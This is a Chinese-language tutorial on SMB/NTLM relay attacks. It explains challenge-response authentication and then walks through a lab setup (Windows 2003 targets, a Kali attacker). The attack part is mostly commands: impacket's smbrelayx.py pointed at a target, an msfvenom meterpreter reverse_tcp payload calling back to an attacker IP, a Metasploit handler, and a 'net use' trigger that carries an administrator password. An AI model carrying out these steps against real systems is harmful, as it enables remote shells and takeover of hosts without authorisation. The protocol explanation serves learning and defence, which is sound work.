0x01 原理
正常情况下:client端 --------- server端
1、正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地
2、接着,client端会将自己的username明文发送给DC[server]
3、此时,DC会生成一组8字节的随机数,也叫challenge[挑战码],返回给client端
4、当client端在收到这个挑战码以后,会把先把它拷贝一份出来,然后再拿着这个挑战码和之前已经加密的密码hash再进行一次加密,加密后的东西叫response[响应],最后再将challenge,response和username一并发送给server端
5、server端在接收到client端传过来的这个三个值以后会将它们分别都转发给DC
6、DC在接收到username,response,challenge以后,会根据传过来的username,到自己的账号数据库中去查出来这个username所对应的hash,然后,再拿着这个hash和刚刚传过来的challenge再进行一次加密
7、最后,就剩比对了,把客户端传过来的response和在[6]中最后加密的hash值进行对比,如果一致,ok,认证通过,登录成功,反之,则登录失败
中间人攻击:client端 ----- 攻击者 ----- server端
1、client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2、然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3、攻击者拿到这个challenge以后再把它返回给client端
4、而client端拿到challenge在本地和自己的password DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5、最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7、server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
0x02 目的
通过smb重放攻击获取目标机器的meterpreter
0x03 环境准备
1、目标机器:win2003
2、第三方机器:win2003
3、攻击机器:kali
0x04 攻击操作
1、下载安装impacket
安装impacket所依赖的加密库以及下载impacket到本地
pip install pycrypto
apt-get --reinstall install python-pyasn1 python-pyasn1-modules (这一步操作可能会报一些错误,可自行百度解决)
git clone https://github.com/CoreSecurity/impacket.git
进入impacket目录,执行以下命令:
python setup.py install
进入example目录,执行以下命令
python smbrelayx.py -h 目标机器ip -e 本地生成的木马位置(由第2步生成)
会等待接受第三方机器传递过来的smb流量
2、利用msfvenom生成一个木马,用来反弹我们的meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.74.136 LPORT=1234 -f exe -o /root/shell.exe
3、进入metasploit控制台,开始监听端口,等待反弹
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lport 1234
lport => 1234
msf exploit(multi/handler) > set lhost 192.168.74.136
lhost => 192.168.74.136
msf exploit(multi/handler) > exploit
4、在第三方机器上执行如下命令,向攻击机器传送smb流量
net use \\192.168.74.136\c$ "123456" /user:"administrator"
备注:192.168.74.136是攻击机器的ip